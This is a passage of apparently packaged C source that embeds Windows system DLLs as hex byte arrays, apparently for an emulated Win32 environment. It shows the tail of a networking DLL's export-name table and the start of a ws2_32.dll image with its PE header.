\"\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\\x74\\x50\\x65\\x72\\x53\\x69\"   //InternetGetPerSi\n/* 3D9329C0 */   \"\\x74\\x65\\x43\\x6F\\x6F\\x6B\\x69\\x65\\x44\\x65\\x63\\x69\\x73\\x69\\x6F\\x6E\"   //teCookieDecision\n/* 3D9329E0 */   \"\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\\x74\\x50\\x65\\x72\"   //A.InternetGetPer\n/* 3D932A00 */   \"\\x53\\x69\\x74\\x65\\x43\\x6F\\x6F\\x6B\\x69\\x65\\x44\\x65\\x63\\x69\\x73\\x69\"   //SiteCookieDecisi\n/* 3D932A20 */   \"\\x6F\\x6E\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\\x74\\x53\"   //onW.InternetGetS\n/* 3D932A40 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x42\\x79\\x55\\x52\\x4C\"   //ecurityInfoByURL\n/* 3D932A60 */   \"\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\\x74\\x53\\x65\\x63\\x75\"   //.InternetGetSecu\n/* 3D932A80 */   \"\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x42\\x79\\x55\\x52\\x4C\\x41\\x00\\x49\"   //rityInfoByURLA.I\n/* 3D932AA0 */   \"\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\"   //nternetGetSecuri\n/* 3D932AC0 */   \"\\x74\\x79\\x49\\x6E\\x66\\x6F\\x42\\x79\\x55\\x52\\x4C\\x57\\x00\\x49\\x6E\\x74\"   //tyInfoByURLW.Int\n/* 3D932AE0 */   \"\\x65\\x72\\x6E\\x65\\x74\\x47\\x6F\\x4F\\x6E\\x6C\\x69\\x6E\\x65\\x00\\x49\\x6E\"   //ernetGoOnline.In\n/* 3D932B00 */   \"\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x6F\\x4F\\x6E\\x6C\\x69\\x6E\\x65\\x41\\x00\"   //ternetGoOnlineA.\n/* 3D932B20 */   \"\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x6F\\x4F\\x6E\\x6C\\x69\\x6E\\x65\"   //InternetGoOnline\n/* 3D932B40 */   \"\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x48\\x61\\x6E\\x67\\x55\\x70\"   //W.InternetHangUp\n/* 3D932B60 */   \"\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\"   //.InternetInitial\n/* 3D932B80 */   \"\\x69\\x7A\\x65\\x41\\x75\\x74\\x6F\\x50\\x72\\x6F\\x78\\x79\\x44\\x6C\\x6C\\x00\"   //izeAutoProxyDll.\n/* 3D932BA0 */   \"\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x4C\\x6F\\x63\\x6B\\x52\\x65\\x71\\x75\"   //InternetLockRequ\n/* 3D932BC0 */   \"\\x65\\x73\\x74\\x46\\x69\\x6C\\x65\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\"   //estFile.Internet\n/* 3D932BE0 */   \"\\x4F\\x70\\x65\\x6E\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x4F\\x70\"   //OpenA.InternetOp\n/* 3D932C00 */   \"\\x65\\x6E\\x55\\x72\\x6C\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x4F\"   //enUrlA.InternetO\n/* 3D932C20 */   \"\\x70\\x65\\x6E\\x55\\x72\\x6C\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\"   //penUrlW.Internet\n/* 3D932C40 */   \"\\x4F\\x70\\x65\\x6E\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x51\\x75\"   //OpenW.InternetQu\n/* 3D932C60 */   \"\\x65\\x72\\x79\\x44\\x61\\x74\\x61\\x41\\x76\\x61\\x69\\x6C\\x61\\x62\\x6C\\x65\"   //eryDataAvailable\n/* 3D932C80 */   \"\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x51\\x75\\x65\\x72\\x79\\x46\\x6F\"   //.InternetQueryFo\n/* 3D932CA0 */   \"\\x72\\x74\\x65\\x7A\\x7A\\x61\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x49\\x6E\\x74\"   //rtezzaStatus.Int\n/* 3D932CC0 */   \"\\x65\\x72\\x6E\\x65\\x74\\x51\\x75\\x65\\x72\\x79\\x4F\\x70\\x74\\x69\\x6F\\x6E\"   //ernetQueryOption\n/* 3D932CE0 */   \"\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x51\\x75\\x65\\x72\\x79\\x4F\"   //A.InternetQueryO\n/* 3D932D00 */   \"\\x70\\x74\\x69\\x6F\\x6E\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x52\"   //ptionW.InternetR\n/* 3D932D20 */   \"\\x65\\x61\\x64\\x46\\x69\\x6C\\x65\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\"   //eadFile.Internet\n/* 3D932D40 */   \"\\x52\\x65\\x61\\x64\\x46\\x69\\x6C\\x65\\x45\\x78\\x41\\x00\\x49\\x6E\\x74\\x65\"   //ReadFileExA.Inte\n/* 3D932D60 */   \"\\x72\\x6E\\x65\\x74\\x52\\x65\\x61\\x64\\x46\\x69\\x6C\\x65\\x45\\x78\\x57\\x00\"   //rnetReadFileExW.\n/* 3D932D80 */   \"\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\"   //InternetSecurity\n/* 3D932DA0 */   \"\\x50\\x72\\x6F\\x74\\x6F\\x63\\x6F\\x6C\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\"   //ProtocolToString\n/* 3D932DC0 */   \"\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\"   //A.InternetSecuri\n/* 3D932DE0 */   \"\\x74\\x79\\x50\\x72\\x6F\\x74\\x6F\\x63\\x6F\\x6C\\x54\\x6F\\x53\\x74\\x72\\x69\"   //tyProtocolToStri\n/* 3D932E00 */   \"\\x6E\\x67\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\\x43\"   //ngW.InternetSetC\n/* 3D932E20 */   \"\\x6F\\x6F\\x6B\\x69\\x65\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\"   //ookieA.InternetS\n/* 3D932E40 */   \"\\x65\\x74\\x43\\x6F\\x6F\\x6B\\x69\\x65\\x45\\x78\\x41\\x00\\x49\\x6E\\x74\\x65\"   //etCookieExA.Inte\n/* 3D932E60 */   \"\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\\x43\\x6F\\x6F\\x6B\\x69\\x65\\x45\\x78\\x57\"   //rnetSetCookieExW\n/* 3D932E80 */   \"\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\\x43\\x6F\\x6F\\x6B\"   //.InternetSetCook\n/* 3D932EA0 */   \"\\x69\\x65\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\\x44\"   //ieW.InternetSetD\n/* 3D932EC0 */   \"\\x69\\x61\\x6C\\x53\\x74\\x61\\x74\\x65\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\"   //ialState.Interne\n/* 3D932EE0 */   \"\\x74\\x53\\x65\\x74\\x44\\x69\\x61\\x6C\\x53\\x74\\x61\\x74\\x65\\x41\\x00\\x49\"   //tSetDialStateA.I\n/* 3D932F00 */   \"\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\\x44\\x69\\x61\\x6C\\x53\\x74\"   //nternetSetDialSt\n/* 3D932F20 */   \"\\x61\\x74\\x65\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\"   //ateW.InternetSet\n/* 3D932F40 */   \"\\x46\\x69\\x6C\\x65\\x50\\x6F\\x69\\x6E\\x74\\x65\\x72\\x00\\x49\\x6E\\x74\\x65\"   //FilePointer.Inte\n/* 3D932F60 */   \"\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\\x4F\\x70\\x74\\x69\\x6F\\x6E\\x41\\x00\\x49\"   //rnetSetOptionA.I\n/* 3D932F80 */   \"\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\\x4F\\x70\\x74\\x69\\x6F\\x6E\"   //nternetSetOption\n/* 3D932FA0 */   \"\\x45\\x78\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\\x4F\"   //ExA.InternetSetO\n/* 3D932FC0 */   \"\\x70\\x74\\x69\\x6F\\x6E\\x45\\x78\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\"   //ptionExW.Interne\n/* 3D932FE0 */   \"\\x74\\x53\\x65\\x74\\x4F\\x70\\x74\\x69\\x6F\\x6E\\x57\\x00\\x49\\x6E\\x74\\x65\"   //tSetOptionW.Inte\n/* 3D933000 */   \"\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\\x50\\x65\\x72\\x53\\x69\\x74\\x65\\x43\\x6F\"   //rnetSetPerSiteCo\n/* 3D933020 */   \"\\x6F\\x6B\\x69\\x65\\x44\\x65\\x63\\x69\\x73\\x69\\x6F\\x6E\\x41\\x00\\x49\\x6E\"   //okieDecisionA.In\n/* 3D933040 */   \"\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\\x50\\x65\\x72\\x53\\x69\\x74\\x65\"   //ternetSetPerSite\n/* 3D933060 */   \"\\x43\\x6F\\x6F\\x6B\\x69\\x65\\x44\\x65\\x63\\x69\\x73\\x69\\x6F\\x6E\\x57\\x00\"   //CookieDecisionW.\n/* 3D933080 */   \"\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\\x53\\x74\\x61\\x74\\x75\"   //InternetSetStatu\n/* 3D9330A0 */   \"\\x73\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\\x6B\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\"   //sCallback.Intern\n/* 3D9330C0 */   \"\\x65\\x74\\x53\\x65\\x74\\x53\\x74\\x61\\x74\\x75\\x73\\x43\\x61\\x6C\\x6C\\x62\"   //etSetStatusCallb\n/* 3D9330E0 */   \"\\x61\\x63\\x6B\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\"   //ackA.InternetSet\n/* 3D933100 */   \"\\x53\\x74\\x61\\x74\\x75\\x73\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\\x6B\\x57\\x00\"   //StatusCallbackW.\n/* 3D933120 */   \"\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x68\\x6F\\x77\\x53\\x65\\x63\\x75\"   //InternetShowSecu\n/* 3D933140 */   \"\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x42\\x79\\x55\\x52\\x4C\\x00\\x49\\x6E\"   //rityInfoByURL.In\n/* 3D933160 */   \"\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x68\\x6F\\x77\\x53\\x65\\x63\\x75\\x72\\x69\"   //ternetShowSecuri\n/* 3D933180 */   \"\\x74\\x79\\x49\\x6E\\x66\\x6F\\x42\\x79\\x55\\x52\\x4C\\x41\\x00\\x49\\x6E\\x74\"   //tyInfoByURLA.Int\n/* 3D9331A0 */   \"\\x65\\x72\\x6E\\x65\\x74\\x53\\x68\\x6F\\x77\\x53\\x65\\x63\\x75\\x72\\x69\\x74\"   //ernetShowSecurit\n/* 3D9331C0 */   \"\\x79\\x49\\x6E\\x66\\x6F\\x42\\x79\\x55\\x52\\x4C\\x57\\x00\\x49\\x6E\\x74\\x65\"   //yInfoByURLW.Inte\n/* 3D9331E0 */   \"\\x72\\x6E\\x65\\x74\\x54\\x69\\x6D\\x65\\x46\\x72\\x6F\\x6D\\x53\\x79\\x73\\x74\"   //rnetTimeFromSyst\n/* 3D933200 */   \"\\x65\\x6D\\x54\\x69\\x6D\\x65\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x54\"   //emTime.InternetT\n/* 3D933220 */   \"\\x69\\x6D\\x65\\x46\\x72\\x6F\\x6D\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\"   //imeFromSystemTim\n/* 3D933240 */   \"\\x65\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x54\\x69\\x6D\\x65\\x46\"   //eA.InternetTimeF\n/* 3D933260 */   \"\\x72\\x6F\\x6D\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x57\\x00\\x49\"   //romSystemTimeW.I\n/* 3D933280 */   \"\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x54\\x69\\x6D\\x65\\x54\\x6F\\x53\\x79\\x73\"   //nternetTimeToSys\n/* 3D9332A0 */   \"\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\"   //temTime.Internet\n/* 3D9332C0 */   \"\\x54\\x69\\x6D\\x65\\x54\\x6F\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\"   //TimeToSystemTime\n/* 3D9332E0 */   \"\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x54\\x69\\x6D\\x65\\x54\\x6F\"   //A.InternetTimeTo\n/* 3D933300 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x57\\x00\\x49\\x6E\\x74\\x65\"   //SystemTimeW.Inte\n/* 3D933320 */   \"\\x72\\x6E\\x65\\x74\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x52\\x65\\x71\\x75\\x65\\x73\"   //rnetUnlockReques\n/* 3D933340 */   \"\\x74\\x46\\x69\\x6C\\x65\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x57\\x72\"   //tFile.InternetWr\n/* 3D933360 */   \"\\x69\\x74\\x65\\x46\\x69\\x6C\\x65\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\"   //iteFile.Internet\n/* 3D933380 */   \"\\x57\\x72\\x69\\x74\\x65\\x46\\x69\\x6C\\x65\\x45\\x78\\x41\\x00\\x49\\x6E\\x74\"   //WriteFileExA.Int\n/* 3D9333A0 */   \"\\x65\\x72\\x6E\\x65\\x74\\x57\\x72\\x69\\x74\\x65\\x46\\x69\\x6C\\x65\\x45\\x78\"   //ernetWriteFileEx\n/* 3D9333C0 */   \"\\x57\\x00\\x49\\x73\\x48\\x6F\\x73\\x74\\x49\\x6E\\x50\\x72\\x6F\\x78\\x79\\x42\"   //W.IsHostInProxyB\n/* 3D9333E0 */   \"\\x79\\x70\\x61\\x73\\x73\\x4C\\x69\\x73\\x74\\x00\\x49\\x73\\x55\\x72\\x6C\\x43\"   //ypassList.IsUrlC\n/* 3D933400 */   \"\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x45\\x78\\x70\\x69\\x72\\x65\\x64\"   //acheEntryExpired\n/* 3D933420 */   \"\\x41\\x00\\x49\\x73\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\"   //A.IsUrlCacheEntr\n/* 3D933440 */   \"\\x79\\x45\\x78\\x70\\x69\\x72\\x65\\x64\\x57\\x00\\x4C\\x6F\\x61\\x64\\x55\\x72\"   //yExpiredW.LoadUr\n/* 3D933460 */   \"\\x6C\\x43\\x61\\x63\\x68\\x65\\x43\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x00\\x50\\x61\"   //lCacheContent.Pa\n/* 3D933480 */   \"\\x72\\x73\\x65\\x58\\x35\\x30\\x39\\x45\\x6E\\x63\\x6F\\x64\\x65\\x64\\x43\\x65\"   //rseX509EncodedCe\n/* 3D9334A0 */   \"\\x72\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x65\\x46\\x6F\\x72\\x4C\\x69\\x73\\x74\"   //rtificateForList\n/* 3D9334C0 */   \"\\x42\\x6F\\x78\\x45\\x6E\\x74\\x72\\x79\\x00\\x50\\x72\\x69\\x76\\x61\\x63\\x79\"   //BoxEntry.Privacy\n/* 3D9334E0 */   \"\\x47\\x65\\x74\\x5A\\x6F\\x6E\\x65\\x50\\x72\\x65\\x66\\x65\\x72\\x65\\x6E\\x63\"   //GetZonePreferenc\n/* 3D933500 */   \"\\x65\\x57\\x00\\x50\\x72\\x69\\x76\\x61\\x63\\x79\\x53\\x65\\x74\\x5A\\x6F\\x6E\"   //eW.PrivacySetZon\n/* 3D933520 */   \"\\x65\\x50\\x72\\x65\\x66\\x65\\x72\\x65\\x6E\\x63\\x65\\x57\\x00\\x52\\x65\\x61\"   //ePreferenceW.Rea\n/* 3D933540 */   \"\\x64\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x53\\x74\"   //dUrlCacheEntrySt\n/* 3D933560 */   \"\\x72\\x65\\x61\\x6D\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x55\\x72\\x6C\"   //ream.RegisterUrl\n/* 3D933580 */   \"\\x43\\x61\\x63\\x68\\x65\\x4E\\x6F\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\"   //CacheNotificatio\n/* 3D9335A0 */   \"\\x6E\\x00\\x52\\x65\\x73\\x75\\x6D\\x65\\x53\\x75\\x73\\x70\\x65\\x6E\\x64\\x65\"   //n.ResumeSuspende\n/* 3D9335C0 */   \"\\x64\\x44\\x6F\\x77\\x6E\\x6C\\x6F\\x61\\x64\\x00\\x52\\x65\\x74\\x72\\x69\\x65\"   //dDownload.Retrie\n/* 3D9335E0 */   \"\\x76\\x65\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x46\"   //veUrlCacheEntryF\n/* 3D933600 */   \"\\x69\\x6C\\x65\\x41\\x00\\x52\\x65\\x74\\x72\\x69\\x65\\x76\\x65\\x55\\x72\\x6C\"   //ileA.RetrieveUrl\n/* 3D933620 */   \"\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x46\\x69\\x6C\\x65\\x57\\x00\"   //CacheEntryFileW.\n/* 3D933640 */   \"\\x52\\x65\\x74\\x72\\x69\\x65\\x76\\x65\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\"   //RetrieveUrlCache\n/* 3D933660 */   \"\\x45\\x6E\\x74\\x72\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x41\\x00\\x52\\x65\\x74\"   //EntryStreamA.Ret\n/* 3D933680 */   \"\\x72\\x69\\x65\\x76\\x65\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\"   //rieveUrlCacheEnt\n/* 3D9336A0 */   \"\\x72\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x57\\x00\\x52\\x75\\x6E\\x4F\\x6E\\x63\"   //ryStreamW.RunOnc\n/* 3D9336C0 */   \"\\x65\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x00\\x53\\x65\\x74\\x55\\x72\\x6C\"   //eUrlCache.SetUrl\n/* 3D9336E0 */   \"\\x43\\x61\\x63\\x68\\x65\\x43\\x6F\\x6E\\x66\\x69\\x67\\x49\\x6E\\x66\\x6F\\x41\"   //CacheConfigInfoA\n/* 3D933700 */   \"\\x00\\x53\\x65\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x43\\x6F\\x6E\\x66\"   //.SetUrlCacheConf\n/* 3D933720 */   \"\\x69\\x67\\x49\\x6E\\x66\\x6F\\x57\\x00\\x53\\x65\\x74\\x55\\x72\\x6C\\x43\\x61\"   //igInfoW.SetUrlCa\n/* 3D933740 */   \"\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x47\\x72\\x6F\\x75\\x70\\x00\\x53\\x65\"   //cheEntryGroup.Se\n/* 3D933760 */   \"\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x47\\x72\"   //tUrlCacheEntryGr\n/* 3D933780 */   \"\\x6F\\x75\\x70\\x41\\x00\\x53\\x65\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\"   //oupA.SetUrlCache\n/* 3D9337A0 */   \"\\x45\\x6E\\x74\\x72\\x79\\x47\\x72\\x6F\\x75\\x70\\x57\\x00\\x53\\x65\\x74\\x55\"   //EntryGroupW.SetU\n/* 3D9337C0 */   \"\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x49\\x6E\\x66\\x6F\"   //rlCacheEntryInfo\n/* 3D9337E0 */   \"\\x41\\x00\\x53\\x65\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\"   //A.SetUrlCacheEnt\n/* 3D933800 */   \"\\x72\\x79\\x49\\x6E\\x66\\x6F\\x57\\x00\\x53\\x65\\x74\\x55\\x72\\x6C\\x43\\x61\"   //ryInfoW.SetUrlCa\n/* 3D933820 */   \"\\x63\\x68\\x65\\x47\\x72\\x6F\\x75\\x70\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\"   //cheGroupAttribut\n/* 3D933840 */   \"\\x65\\x41\\x00\\x53\\x65\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x47\\x72\"   //eA.SetUrlCacheGr\n/* 3D933860 */   \"\\x6F\\x75\\x70\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x57\\x00\\x53\\x65\"   //oupAttributeW.Se\n/* 3D933880 */   \"\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x48\\x65\\x61\\x64\\x65\\x72\\x44\"   //tUrlCacheHeaderD\n/* 3D9338A0 */   \"\\x61\\x74\\x61\\x00\\x53\\x68\\x6F\\x77\\x43\\x65\\x72\\x74\\x69\\x66\\x69\\x63\"   //ata.ShowCertific\n/* 3D9338C0 */   \"\\x61\\x74\\x65\\x00\\x53\\x68\\x6F\\x77\\x43\\x6C\\x69\\x65\\x6E\\x74\\x41\\x75\"   //ate.ShowClientAu\n/* 3D9338E0 */   \"\\x74\\x68\\x43\\x65\\x72\\x74\\x73\\x00\\x53\\x68\\x6F\\x77\\x53\\x65\\x63\\x75\"   //thCerts.ShowSecu\n/* 3D933900 */   \"\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x00\\x53\\x68\\x6F\\x77\\x58\\x35\\x30\"   //rityInfo.ShowX50\n/* 3D933920 */   \"\\x39\\x45\\x6E\\x63\\x6F\\x64\\x65\\x64\\x43\\x65\\x72\\x74\\x69\\x66\\x69\\x63\"   //9EncodedCertific\n/* 3D933940 */   \"\\x61\\x74\\x65\\x00\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x55\\x72\\x6C\\x43\\x61\\x63\"   //ate.UnlockUrlCac\n/* 3D933960 */   \"\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x46\\x69\\x6C\\x65\\x00\\x55\\x6E\\x6C\\x6F\"   //heEntryFile.Unlo\n/* 3D933980 */   \"\\x63\\x6B\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x46\"   //ckUrlCacheEntryF\n/* 3D9339A0 */   \"\\x69\\x6C\\x65\\x41\\x00\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x55\\x72\\x6C\\x43\\x61\"   //ileA.UnlockUrlCa\n/* 3D9339C0 */   \"\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x46\\x69\\x6C\\x65\\x57\\x00\\x55\\x6E\"   //cheEntryFileW.Un\n/* 3D9339E0 */   \"\\x6C\\x6F\\x63\\x6B\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\"   //lockUrlCacheEntr\n/* 3D933A00 */   \"\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x00\\x55\\x70\\x64\\x61\\x74\\x65\\x55\\x72\"   //yStream.UpdateUr\n/* 3D933A20 */   \"\\x6C\\x43\\x61\\x63\\x68\\x65\\x43\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x50\\x61\\x74\"   //lCacheContentPat\n/* 3D933A40 */   \"\\x68\\x00\\x55\\x72\\x6C\\x5A\\x6F\\x6E\\x65\\x73\\x44\\x65\\x74\\x61\\x63\\x68\"   //h.UrlZonesDetach\n/* 3D933A60 */   \"\\x00\\x5F\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x45\\x78\\x74\\x65\\x6E\\x73\\x69\"   //._GetFileExtensi\n/* 3D933A80 */   \"\\x6F\\x6E\\x46\\x72\\x6F\\x6D\\x55\\x72\\x6C\\x00\\x90\\x90\\x00\\x00\\x00\\x00\"   //onFromUrl.......\n/* 3D933AA0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n;\n\n"
  },
  {
    "path": "src/environment/win32/dlls/ws2_32dll.c",
    "content": "const char ws2_32_71a10000[]=\n/* 71A10000 */ \"\\x4D\\x5A\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\" // MZ.\u0003...\u0004...ÿÿ..\n/* 71A10010 */ \"\\xB8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ¸.......@.......\n/* 71A10020 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A10030 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF0\\x00\\x00\\x00\" // ............ð...\n/* 71A10040 */ \"\\x0E\\x1F\\xBA\\x0E\\x00\\xB4\\x09\\xCD\\x21\\xB8\\x01\\x4C\\xCD\\x21\\x54\\x68\" // \u000e\u001fº\u000e.´.Í!¸\u0001LÍ!Th\n/* 71A10050 */ \"\\x69\\x73\\x20\\x70\\x72\\x6F\\x67\\x72\\x61\\x6D\\x20\\x63\\x61\\x6E\\x6E\\x6F\" // is program canno\n/* 71A10060 */ \"\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6E\\x20\\x69\\x6E\\x20\\x44\\x4F\\x53\\x20\" // t be run in DOS\n/* 71A10070 */ \"\\x6D\\x6F\\x64\\x65\\x2E\\x0D\\x0D\\x0A\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // mode....$.......\n/* 71A10080 */ \"\\xF8\\x3D\\x1C\\xFC\\xBC\\x5C\\x72\\xAF\\xBC\\x5C\\x72\\xAF\\xBC\\x5C\\x72\\xAF\" // ø=\u001cü¼\\r¯¼\\r¯¼\\r¯\n/* 71A10090 */ \"\\x7F\\x53\\x7D\\xAF\\xBD\\x5C\\x72\\xAF\\xBC\\x5C\\x73\\xAF\\xCB\\x5C\\x72\\xAF\" // S}¯½\\r¯¼\\s¯Ë\\r¯\n/* 71A100A0 */ \"\\x7F\\x53\\x2F\\xAF\\xB7\\x5C\\x72\\xAF\\x7F\\x53\\x2E\\xAF\\xBD\\x5C\\x72\\xAF\" // S/¯·\\r¯S.¯½\\r¯\n/* 71A100B0 */ \"\\x7F\\x53\\x2C\\xAF\\xBD\\x5C\\x72\\xAF\\x7F\\x53\\x12\\xAF\\x95\\x5C\\x72\\xAF\" // S,¯½\\r¯S\u0012¯\\r¯\n/* 71A100C0 */ \"\\x7F\\x53\\x2D\\xAF\\xB6\\x5C\\x72\\xAF\\x7F\\x53\\x28\\xAF\\xBD\\x5C\\x72\\xAF\" // S-¯¶\\r¯S(¯½\\r¯\n/* 71A100D0 */ \"\\x52\\x69\\x63\\x68\\xBC\\x5C\\x72\\xAF\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // Rich¼\\r¯........\n/* 71A100E0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A100F0 */ \"\\x50\\x45\\x00\\x00\\x4C\\x01\\x04\\x00\\x05\\x97\\x10\\x41\\x00\\x00\\x00\\x00\" // PE..L\u0001\u0004.\u0005\u0010A....\n/* 71A10100 */ \"\\x00\\x00\\x00\\x00\\xE0\\x00\\x0E\\x21\\x0B\\x01\\x07\\x0A\\x00\\x22\\x01\\x00\" // ....à.\u000e!\u000b\u0001\u0007..\"\u0001.\n/* 71A10110 */ 